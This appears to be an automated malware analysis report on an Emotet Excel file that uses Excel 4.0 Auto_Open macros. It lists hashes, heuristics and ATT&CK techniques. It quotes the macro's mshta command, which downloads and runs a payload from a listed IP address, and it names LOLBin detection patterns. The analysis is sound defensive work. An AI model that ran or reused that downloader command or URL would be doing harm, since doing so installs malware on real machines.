Emotet Office (OLE) / .XLSX malware analysis — malicious · ecb13a29b15e3481

MALICIOUS

Office (OLE) / .XLSX

89.9 KB Created: 2022-01-27 23:33:44 Authoring application: Microsoft Excel

MD5: 978d4ba7e44cc05395faf5e2ebbfed21 SHA-1: 32dca51826d5fbd56d10bb51e5211e5c4e9cfe8c SHA-256: ecb13a29b15e3481a7a66ca891f4aca1db4274fdaa600ea24e58b5356bcf13c3

322 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1059.003 Windows Command Shell

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a critical indicator of malicious intent. The macro executes a command using 'cmd /c set ooo=mshta http://91.240.118.172/ee/ss/se.html & echo %ooo% | cmd'. This command attempts to download and execute a payload from the provided URL, which is a common delivery mechanism for malware like Emotet. The presence of mshta.exe and the URL structure strongly suggest a downloader function.

Heuristics 8

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN

Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
ClamAV: Doc.Downloader.EmotetRed02220-9938645-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.EmotetRed02220-9938645-0
Reference to mshta.exe high SC_STR_MSHTA

Reference to mshta.exe
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://91.240.118.172/ee/ss/se.html

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `712daaadef5bb5a097700650c710c5cfa82b295835e03515a82f90167f9f4c8e`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	540 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 shell/COM execution token(s). Carved macro source contains an auto-exec entry point and execution/download terms.

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